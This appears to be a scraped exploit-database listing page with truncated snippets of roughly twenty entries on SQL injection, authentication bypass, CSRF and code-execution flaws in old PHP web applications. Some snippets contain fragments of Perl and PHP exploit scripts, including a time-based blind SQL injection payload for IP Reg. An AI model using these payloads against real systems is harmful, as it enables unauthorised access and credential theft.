Flexphplink 0.0.x Authentication Bypass

Autore: x0r Email: [email protected] Site: http://w00tz0ne.altervista.org/index.php Cms: Flexphplink Pro Version: 0.0.7 Download: http://www.china-on-site.com/flexphplink/downloads.html Bug In \admin\usercheck.php $sql = "select username,adminid from linkexadmin where username='$checkuser' and...

Flexphpsite 0.0.1 - Authentication Bypass

Flexphpsite 0.0.1 - Authentication Bypass Autore: x0r Email: [email protected] Site: http://w00tz0ne.altervista.org/index.php Cms: Flexphpsiteen Version: 0.0.1 Download: http://www.china-on-site.com/flexphpsite/downloads.html Bug In \admin\usercheck.php $sql = "select username,adminid from...

CVE-2008-5695

wp-admin/options.php in WordPress MU before 1.3.2, and WordPress 2.3.2 and earlier, does not properly validate requests to update an option, which allows remote authenticated users with manageoptions and uploadfiles capabilities to execute arbitrary code by uploading a PHP script and adding this...

SlimCMS <= 1.0.0 (edit.php) Remote SQL Injection Exploit

No description provided by source. !/usr/bin/perl =starting -------------------------------------------------------- SlimCMS = 1.0.0 edit.php Remote SQL Injection Exploit -------------------------------------------------------- by athos - stakerathotmaildotit download on sourceforge File edit.php...

SlimCMS 1.0.0 - 'edit.php' SQL Injection

!/usr/bin/perl =starting -------------------------------------------------------- SlimCMS 2 114. $query = "UPDATE pages SET title = '".$POST'pageTitle'."', content = '". striptagsstripslashes$POST'cmsText',$allowedTags."' WHERE ID = ".$GET'pageID'; 115. mysqlquery$query; 116. //$successfulyUpdate...

Simple Document Management System 1.1.4 - Authentication Bypass

Simple Document Management System 1.1.4 - Authentication Bypass SDMS Simple Document Management System v1.1.4 SQL Injection Author: Yuri Program: SDMS Simple Document Management System Version: v1.1.4 and probably all older versions as well Website: http://sdms.cafuego.net/ How it works The login...

e107 < 0.7.13 - 'usersettings.php' Blind SQL Injection

Author: GiReX Homepage: http://girex.altervista.org Date: 19/10/2008 CMS: e107 URL: http://e107.org/ Note: Works regardless of php.ini settings magicquotes, registerglobals.. Attenction: This exploit was written for educational purpose. Use it at your own risk. Author will be not responsible for...

mantis-exec.txt

?php / -------------------------------------------------------------------------------- Mantis Bug Tracker = 1.1.3 manageprojpage.php Remote Code Execution Exploit -------------------------------------------------------------------------------- author...: EgiX mail.....: n0b0d13satgmaildotcom...

Mic_blog 0.0.3 - SQL Injection Privilege Escalation

Micblog 0.0.3 - SQL Injection Privilege Escalation !/usr/bin/php -q ?php errorreporting0; iniset"defaultsockettimeout",5; / Micblog v0.0.3 Multiple Remote Exploit ------------------------------------------------------------- Discovered By StAkeR aka athos - StAkeRathotmaildotit Discovered On...

NewLife Blogger 3.0 - Insecure Cookie Handling / SQL Injection

-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-= NewLife Blogger eNYe-Sec - www.enye-sec.org Cookie format is: nlb3=7::96e79218965eb72c92a549dd5a330112 nlb3=iduser::md5 pass --Bug -- 143. function checkLogin 144. // loing check 145. if isset $COOKIE'nlb3' 146. $dat...

Stash 1.0.3 (SQL) User Credentials Disclosure Exploit

Exploit for unknown platform in category web applications ===================================================== Stash 1.0.3 SQL User Credentials Disclosure Exploit ===================================================== !/usr/bin/perl -w User credentials disclosure exploit - stash103exp.pl This...

stash103exp.txt

!/usr/bin/perl -w User credentials disclosure exploit - stash103exp.pl Gnix http://gnix.netsons.org This exploit use an SQL Injection in the file admin/login.php to bypass the login, and then an SQL Injection in the admin/news.php to extract all the users info. Note: password are crypted with md5...

AdaptCMS Lite 1.3 - Blind SQL Injection

AdaptCMS Lite 1.3 - Blind SQL Injection !/usr/bin/perl ----------------------------------------------------- AdaptCMS Lite post$host.'/includes/checkuser.php', username = $param ; if$post-issuccess return 38 unless $post-content = /yes/i; my @chars = 48..57, 97..102; for0..32 foreach my $set@char...

ipreg-blindsql.txt

!/usr/bin/perl ----------------------------------------------- IP Reg post$host, username = $param, userpass = 'admin' ; sub givechar my $send = undef; my $charz,$uidz = @; $send = "' or select ifasciisubstring". "userpass,$uidz,1=$charz,". "benchmark200000000,char0,". "0 from user where...

IP Reg 0.4 - Blind SQL Injection

!/usr/bin/perl ----------------------------------------------- IP Reg post$host, username = $param, userpass = 'admin' ; sub givechar my $send = undef; my $charz,$uidz = @; $send = "' or select ifasciisubstring". "userpass,$uidz,1=$charz,". "benchmark200000000,char0,". "0 from user where...

CVE-2008-3885

Blogn (BURO GUN) is affected by a CSRF vulnerability in version 1.9.7 and earlier. The issue allows an attacker to hijack the authentication of a logged-in user to perform content-modification requests when the user visits a malicious page. The impact is that contents created by Blogn may be edit...

dotProject 2.1.2 - Multiple SQL Injections / Cross-Site Scripting Vulnerabilities

source: https://www.securityfocus.com/bid/30924/info dotProject is prone to multiple SQL-injection and cross-site scripting vulnerabilities because it fails to properly sanitize user-supplied input. An attacker may leverage the cross-site scripting issues to execute arbitrary script code in the...

Cross site request forgery (csrf)

Multiple cross-site request forgery CSRF vulnerabilities in 1 System Consultants La!Cooda WIZ 1.4.0 and earlier and 2 SpaceTag LacoodaST 2.1.3 and earlier allow remote attackers to hijack the authentication of arbitrary users for requests that a change passwords or b change configurations...

cyberBB 0.6 - Multiple SQL Injections

cyberBB 0.6 - Multiple SQL Injections Name : cyberBB v. 0.6 Multiply Remote SQL Injection Vulnerabilities Author : cOndemned Dark-Coders Greetz : Avantura, str0ke, ZaBeaTy, voo|doo, irk4z, and many, many more... Conditions : Magic quotes gpc = On & Off / User must be logged into source of...

E-topbiz Dating 3 PHP Script (mail_id) Remote SQL Injection Vulnerability

Exploit for unknown platform in category web applications ========================================================================= E-topbiz Dating 3 PHP Script mailid Remote SQL Injection Vulnerability =========================================================================...